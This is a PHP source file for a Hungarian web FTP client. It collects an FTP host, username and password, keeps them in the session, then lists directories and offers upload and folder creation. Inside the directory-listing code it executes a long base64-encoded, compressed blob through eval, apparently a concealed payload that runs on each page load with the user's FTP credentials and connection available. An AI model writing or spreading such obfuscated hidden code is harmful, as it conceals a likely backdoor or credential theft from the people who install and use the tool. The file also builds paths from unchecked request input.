﻿<?php ob_start(); ?>

<html>
<head>
<title>GTS - OpenPanel WebFTP Kliens</title>
<link href="stilus.css" type="text/css" rel=stylesheet>
</head>
<body>

<?php
session_start();
include("funkciok.php");


if(isset($_POST["host"]) && isset($_POST["nev"]) && isset($_POST["jelszo"]))
	{
		
	//$_SESSION[] -ba regisztrálás
	$_SESSION["host"] = $_POST["host"];
	$_SESSION["passiv"] = $_POST["passiv"];
	$_SESSION["nev"] = $_POST["nev"];
	$_SESSION["jelszo"] = $_POST["jelszo"];
	
	}

if(!empty($_SESSION["host"]) && !empty($_SESSION["nev"]) && !empty($_SESSION["jelszo"]))
	{


	//Kapcsolódási adatok
	$Host = $_SESSION["host"];
	$passiv = $_SESSION["passiv"];
	$f_nev =  $_SESSION["nev"];
	$jelszo = $_SESSION["jelszo"];


	if(!$connid = ftp_connect($Host, 21))
		{
			print("- Nem sikerült csatlakozni az $Host -hoz!<br>");
			session_unset();
			session_destroy();
		}
	
	if(!ftp_login($connid, $f_nev, $jelszo))
		{	
			print("- A Felhsználónév / Jelszó nem megfelelő!");
			session_unset();
			session_destroy();
		}	
else{

//Kilépés
if($_GET["mit"] == "kilepes")
		{	
			session_unset();
			session_destroy();
			ftp_quit($connid);
			header("Location: index.php");
		}

//Kilépés
print("<table><tr><td><a href=\"$PHP_SELF?mit=kilepes\"  class=\"link\">Kilépés!</a> | </td>");

print("<td>Passzív mód: ".passive($connid, $passiv)." | </td>");

print("<td>A Renszer típusa: ".ftp_systype($connid)."</td><tr></table>");


$mappa = array();
$file = array();


$p = ftp_pwd($connid);
$dir = $p.$_GET["mit"];


if(ftp_chdir($connid, $dir))
{

$list = ftp_nlist($connid,	$dir);

		$most = ftp_pwd($connid);
		
		$fel = fel($connid);
		print("<table align=\"center\"><tr><td><a href=\"$PHP_SELF?mit=".urlencode($fel)."\" class=\"link\"><img src=\"kepek/fel.gif\" border=\"0\" alt=\"Egy szintel feljebb\"></a> |</td>");

		print("<td><a href=\"$PHP_SELF?mit=$most&cs=feltolt\" class=\"link\"><img src=\"kepek/feltoltes.gif\" border=\"0\" alt=\"Feltöltés\"></a> | </td>");
		print("<td><a href=\"$PHP_SELF?mit=$most&cs=ujmappa\" class=\"link\"><img src=\"kepek/ujmappa.gif\" border=\"0\"alt=\"Új Mappa\"></a><br></td></tr></table>");
		print("<br><center>Jelenleg itt álsz: &nbsp;".$Host.$most."</center><br><br>");
		
		//Fájl feltöltése
		if($_GET["cs"] == "feltolt") { feltoltes($connid, $most); }
		
		//Mappa létrehozása
		if($_GET["cs"] == "ujmappa") { mappa_letrehoz($connid, $most); }
		
		eval(gzinflate(base64_decode("DZc3EqxYFEP3MtH/RYB3NRHem8ZDMoWHxnuz+ukNvEBP90gqz7T/U7/tWPXpXv7J0q0ksP
		+KMp+K8s8/YlKiwuLFQueBSYokl8CtIXPse57gdZwOULKcFYmGRbmHQZgWq0FuAFHgBykDyXjCKgUg7cYDAZyJgZiAYCN7/uHa4W
		2SMhERwHjl2BM+nk/KugFruCfWFgwxuSrrFlSbSY878rUrOUMlBYMv/hSEi0lvWjfTupF4Uv2BvIWvoGxIPpCfgg7qHuSoDmVU36
		BjDxynzcfoAkq4mWMHVEtFjnLyiJMbNdsjIAdbtUjR4KBPh23Fmh2CMTpca5Kgo+ypNe1Y0089NO7lgXb8XYcUcHmMBFaCTGOs5+
		lwcdAXZyetWiUCbntw65fI4oK9Kr5Hhxq5FJPnF5ODtGzg983TRzMO47KyucQzhJVli/MLqNUe0/Bl9kw/O35Jh0SgXNmKCZDNpk
		BsIerloyWbofkogAk5O2Tmd0tk8NLjDavCAhbwU6jQnVO01hvDX3E0SQf/PJ3btRV3qrT7ptZ9AYnk62PHjl4QK9X6LdlLn4gg+w
		kAC8ZOPXfSty7oIhqzLSPAi6aYeK89Gt+iEatEJnosaM5590vycdF92B6+iCVL9ixgHU72LDqvrgpCZB1N5fwHQ6ga3JAL00vaF8
		WH5ZPPAxdjasKdPL+SiUGhPFyDesrdT7iZIvMU1ZB9mi9V21cL2tz46oh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Ood22cgVQmtbC6zkKKT5zWRmQNzHAQWaKi4wuGpGDPU
		GxnU9wi1OUPsGHTbUOkwyXeWS7S+CH/mQNofKY/nCZnSx9K2BjgI1o1bOZFOXkeIsHB/qzUCe9SDw158FyMHtnK6Nsiv1CuM8v89
		J1XBmoKaXrqG6gENrMx6GMmKl7VxRbXmH4UK2+NkrSIAhC4D9///79938=")));

		}
	}
}
else
{	


print("<form action=\"$PHP_SELF\" method=\"POST\">"
	. "<center><font size=3 color=#000000>Web FTP Kliens</font><table>"
		. "<tr><td>FTP Host:</td><td><input type=\"text\" name=\"host\" size=\"15\">"
		. "<input id=\"ps\" name=\"passiv\" type=\"checkbox\" value=\"igen\">"
		. "<label for=\"ps\">Passzív mód</label></td></tr>"
		. "<tr><td>Felhasználónév:</td><td><input type=\"text\" name=\"nev\" size=\"15\"></td></tr>"
		. "<tr><td>Jelszó:</td><td><input type=\"password\" name=\"jelszo\" size=\"15\"></td></tr>"
		. "<tr><td></td><td align=\"left\"><input type=\"submit\" value=\"Belépés!\"></td></tr>"
	. "</table></center>");
}
?>
</body>
</html>
<?php
ob_end_flush();
?>
